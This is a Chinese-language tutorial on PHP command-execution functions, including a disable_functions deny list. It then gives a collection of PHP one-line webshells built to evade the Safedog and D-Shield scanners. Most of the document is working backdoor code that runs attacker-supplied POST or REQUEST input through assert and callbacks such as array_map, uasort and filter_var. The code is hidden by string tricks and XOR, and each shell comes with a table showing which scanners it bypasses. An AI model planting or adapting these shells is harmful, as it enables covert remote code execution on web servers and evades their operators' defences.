PHP命令执行函数大全
[TOC]
1. exec()
string exec ( string $command [, array &$output [, int &$return_var ]] )
$command是要执行的命令
$output
是获得执行命令输出的每一行字符串,$return_var
用来保存命令执行的状态码(检测成功或失败)
exec()函数执行无回显,默认返回最后一行结果
2.system()函数
string system ( string $command [, int &$return_var ] )
$command为执行的命令,&return_var可选,用来存放命令执行后的状态码
system()函数执行有回显,将执行结果输出到页面上
<?php
system("whoami");
?>
3.passthru()函数
void passthru ( string $command [, int &$return_var ] )
和system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码
执行有回显,将执行结果输出到页面上
<?php
passthru("whoami");
?>
4.shell_exec()函数
string shell_exec( string &command)
&command是要执行的命令
shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面
<?php
echo shell_exec("whoami");
?>
5. 反引号 `
shell_exec() 函数实际上仅是反撇号 () 操作符的变体****,当禁用shell_exec时,
也不可执行
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
<?php
echo `whoami`;
?>
5.popen()函数
resource popen ( string $command , string $mode )
函数需要两个参数,一个是执行的命令command
,另外一个是指针文件的连接模式mode
,有r
和w
代表读和写。
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
popen()**打开一个指向进程的管道,该进程由派生给定的**
command**命令执行而产生。返回一个和**
fopen()**所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用**
pclose()**来关闭。此指针可以用于**
fgets(),
fgetss()**和 **
fwrite()`
<?php popen( 'whoami >> 1.txt', 'r' ); ?>
6. proc_open()函数
resource proc_open (
string $cmd ,
array $descriptorspec ,
array &$pipes [, string $cwd [, array $env [, array $other_options ]]]
)
<?php
$test = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 stream_get_contents — 读取资源流到一个字符串
proc_close($fp);
?>
7.禁用函数
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
WebShell 免杀马(过安全狗和D盾)
1.eval 与 assert
eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:
$f='assert';
$f(...);
#未过D盾
此时 $f
就表示 assert
,所以 assert
关键词更加灵活,但是 PHP7 中,assert
也不再是函数了,变成了一个语言结构(类似eval
),不能再作为函数名动态执行代码.
2.字符串变形
安全狗的规则非常死板,字符串相关函数简单变形一下关键词就可以绕过安全狗的检测了,D 盾的话要严格一点。PHP 内置了一些字符串函数,以下都可以过安全狗。
substr()
substr(string,start,length)
substr() 函数返回字符串的一部分。
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始; 负数 - 在从字符串结尾开始的指定位置开始; 0 - 在字符串中的第一个字符处开始 |
length | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度; 负数 - 从字符串末端返回的长度 |
首先我们来一个基础的字符串拼接:
<?php
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
也许在很久以前这个是可以过 安全狗的,但是直接扑街了,检测结果如下:
安全狗 | D盾 |
---|---|
1 个安全风险 assert 变量函数 | 级别 5 变量函数后门 |
此时我们使用 substr() 函数稍微截断一下:
<?php
$a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
此时是可以执行简单的命令的。因为临时用的 PHPStudy 环境,所以 D 盾没有完全发挥监控的作用,因为 D 盾得在 IIS 环境下测试才可以完全发挥功能,目前我们只临时用 D 盾做 Webshell 查杀的功能。
另外虽然此时这个 Webshell 已经免杀了,且也可以执行任意命令,但是如果我使用中国菜刀或者中国蚁剑之类的一句话客户端工具去连接的话,依然还是会被拦截的,这个涉及到蚁剑的自定义编码和解码器了,这个会在下文中单独介绍,目前这部分内容我们只研究基本的 Webshell 免杀
strtr()
strtr(string,from,to)
strtr() 函数转换字符串中特定的字符。
参数 | 描述 |
---|---|
string | 必需。规定要转换的字符串。 |
from | 必需(除非使用数组)。规定要改变的字符。 |
to | 必需(除非使用数组)。规定要改变为的字符。 |
array | 必需(除非使用 from 和 to)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。 |
依然对字符串进行简单地处理一下:
<?php
$a = strtr('azxcvt','zxcv','sser');
$a($_POST['x']);
?>
此时就已经过掉安全狗了,D 盾检测级别降到了 1 级,检测结果如下:
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 1 可疑变量函数 |
substr_replace()
substr_replace(string,replacement,start,length)
substr_replace() 函数把字符串 string 的一部分替换为另一个字符串 replacement。
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
replacement | 必需。规定要插入的字符串。 |
start | 必需。规定在字符串的何处开始替换。正数 - 在字符串中的指定位置开始替换; 负数 - 在从字符串结尾的指定位置开始替换; 0 - 在字符串中的第一个字符处开始替换 |
length | 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 - 被替换的字符串长度; 负数 - 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 - 插入而非替换 |
<?php
$a = substr_replace("asxxx","sert",2);
$a($_POST['x']);
?>
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 1 (可疑)变量函数 |
trim()
trim(string,charlist)
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符 \0 - NULL; \t - 制表符; \n - 换行; \x0B - 垂直制表符; \r - 回车; 空格 |
<?php
$a = trim(' assert ');
$a($_POST['x']);
?>
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 4 变量函数后门 |
函数绕过
函数可以把敏感关键词当做参数传递。
<?php
function sqlsec($a){
$a($_POST['x']);
}
sqlsec(assert);
?>
安全狗 | D盾 |
---|---|
1 个安全风险 assert变量函数 | 级别 2 变量函数后门 |
但是换一种方式将$_POST['x']
当做参数传递的话就都翻车了:
<?php
function sqlsec($a){
assert($a);
}
sqlsec($_POST['x']);
?>
安全狗 | D盾 |
---|---|
1 个安全风险 assert PHP一句话后门 | 已知后门 |
回调函数
常⽤的回调函数⼤部分都无法绕过 WAF 了。
all_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
<?php
call_user_func('assert',$_POST['x']);
?>
安全狗 | D盾 |
---|---|
1 个安全风险 call_user_func后门 | 级别 5 (内藏) call_user_func后门 |
call_user_func_array()
call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback
)调用,把参数数组作(param_arr
)为回调函数的的参数传入。
<?php
call_user_func_array(assert,array($_POST['x']));
?>
不过安全狗和 D 盾都对这个函数进行检测了:
安全狗 | D盾 |
---|---|
1 个安全风险 call_user_func_array回调后门 | 级别 4 call_user_func_array |
array_filter()
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array
数组中的每个值传递到 callback
函数。如果 callback
函数返回 true,则 array
数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。
<?php
array_filter(array($_POST['x']),'assert');
?>
依然无法 Bypass
安全狗 | D盾 |
---|---|
1 个安全风险 array_filter后门 | 级别 5 array_filter后门 |
assert 手动 Base64 编码后传入,这样还会把 assert 关键词给去掉了:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
?>
安全狗 | D盾 |
---|---|
1 个安全风险 array_filter后门 | 级别 4 array_filter 参数 |
array_map()
array_map(myfunction,array1,array2,array3...)
参数 | 描述 |
---|---|
myfunction | 必需。用户自定义函数的名称,或者是 null。 |
array1 | 必需。规定数组。 |
array2 | 可选。规定数组。 |
array3 | 可选。规定数组。 |
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。和 arrray_walk() 函数差不多:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
?>
# payload e=YXNzZXJ0&pass=system('dir');
依然被杀了,检测结果如下:
安全狗 | D盾 |
---|---|
1 个安全风险 array_map执行 | 级别 5 已知后门 |
array_walk()
array_walk(array,myfunction,parameter...)
array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
userdata,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
简单案例:
<?php
function myfunction($value,$key)
{
echo "The key $key has the value $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction");
?>
运行结果如下:
The key a has the value red
The key b has the value green
The key c has the value blue
根据这个特性手动来写一个 webshell 试试看:
<?php
function sqlsec($value,$key)
{
$x = $key.$value;
$x($_POST['x']);
}
$a=array("ass"=>"ert");
array_walk($a,"sqlsec");
?>
这个 array_walk 有点复杂,这里用的是回调函数和自定义函数结合的姿势了。
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 2 (可疑)变量函数 |
看了下网上其他姿势:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>
此时提交如下 payload 的话:
shell.php?e=preg_replace
最后就相当于执行了如下语句:
preg_replace('|.*|e',$_POST['x'],'')
这个时候只需要 POST x=phpinfo();
即可。这种主要是利用了 preg_replace 的 /e 模式进行代码执行。
不过这种方法已经凉了,安全狗和 D 盾均可以识别,而且这种 preg_replace 三参数后门的 /e
模式 PHP5.5 以后就废弃了:
安全狗 | D盾 |
---|---|
1 个安全风险 array_walk执行 | 级别 5 已知后门 |
不过 PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:
mb_ereg_replace
mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
类似于 preg_replace 函数一样,也可以通过 e 修饰符来执行命令:
<?php
mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>
preg_filter
mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_filter() 等价于 preg_replace() ,但它仅仅返回与目标匹配的结果。
<?php
preg_filter('|\d|e', $_REQUEST['x'], '2');
?>
只是比较可惜,都无法过狗和D盾了。不过问题不大,感兴趣小伙伴可以去查阅 PHP 官方文档,还是可以找到类似函数的,可以过狗和D盾
<?php
mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>
array_walk_recursive()
array_walk_recursive(array,myfunction,parameter...)
array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。该函数与 array_walk()函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
userdata,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
array_reduce()
array_reduce(array,myfunction,initial)
array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。规定函数的名称。 |
initial | 可选。规定发送到函数的初始值。 |
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['x']);
?>
<?php
function sqlsec($value,$key)
{
$x = $key.$value;
print_r($x);
$x($_POST['x']);
}
$a=array("assert");
array_reduce($a,"sqlsec");
?>
POST 提交如下数据:e=assert&x=phpinfo();
但是目前已经无法过狗了。
安全狗 | D盾 |
---|---|
1 个安全风险 array_reduce执行 | 级别 5 已知后门 |
array_udiff()
array_diff(array1,array2,myfunction...);
array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。
参数 | 描述 |
---|---|
array1 | 必需。与其他数组进行比较的第一个数组。 |
array2 | 必需。与第一个数组进行比较的数组。 |
myfunction | 回调对照函数。 |
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
?>
POST 提交如下数据:e=assert&x=phpinfo();
但是目前已经无法过狗。
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
uasort()
uasort(array,myfunction);
uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。
参数 | 描述 |
---|---|
array | 必需。规定要进行排序的数组。 |
myfunction | 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。 |
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['x']);
uasort($arr, base64_decode($e));
?>
POST 提交的数据如下:e=YXNzZXJ0&x=phpinfo();
这个后门在 PHP 5.3之后可以正常运行,5.3 会提示 assert 只能有1个参数,这是因为 assert 多参数是后面才开始新增的内容,PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description
指定到 assert()。
安全狗 | D盾 |
---|---|
1 个安全风险 PHP回调木马 | 级别 4 uasort 参数 |
uksort()
uksort(array,myfunction);
uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。
参数 | 描述 |
---|---|
array | 必需。规定要进行排序的数组。 |
myfunction | 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。 |
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['x'] => 2);
uksort($arr, $e);
?>
POST 的内容如下:e=assert&x=phpinfo();
该方法也不能 Bypass 安全狗了:
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
registregister_shutdown_function()
register_shutdown_function ( callable $callback [, mixed $... ] ) : void
注册一个 callback
,它会在脚本执行完成或者 exit() 后被调用。
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['x']);
?>
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
register_tick_function()
register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
注册在调用记号时要执行的给定函数。
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);
?>
#上面程序中“declare(ticks=1);”代表,每执行一条低级语句,就触发register_tick_function中注册的函数
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
filter_var()
filter_var(variable, filter, options)
filter_var() 函数通过指定的过滤器过滤变量。
参数 | 描述 |
---|---|
variable | 必需。规定要过滤的变量。 |
filter | 可选。规定要使用的过滤器的 ID。 |
options | 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。 |
<?php
filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
filter_var_array()
filter_var_array(array, args)
filter_var_array() 函数获取多项变量,并进行过滤。
参数 | 描述 |
---|---|
array | 必需。规定带有字符串键的数组,包含要过滤的数据。 |
args | 可选。规定过滤器参数数组。合法的数组键是变量名。合法的值是过滤器 ID,或者规定过滤器、标志以及选项的数组。该参数也可以是一个单独的过滤器 ID,如果是这样,输入数组中的所有值由指定过滤器进行过滤。 |
<?php
filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>
安全狗 | D盾 |
---|---|
0级 | 级别 5 已知后门 |
异或
P 神的一篇经典文章 一些不包含数字和字母的webshell 里面提到了异或的姿势。我们只要稍微修改一下也可以轻松过掉安全狗:
<?php
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
此时就已经过掉安全狗了,D 盾检测级别降到了 3 级,检测结果如下:
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 3 变量函数 |
安全狗:
1.array_filter
2.array_map
3.array_udiff
4.array_walk
5.array_walk_recursive
6.call_user_func
7.call_user_func_array
8.filter_var
9.register_shutdown_function
10.register_tick_function
11.uasort
D盾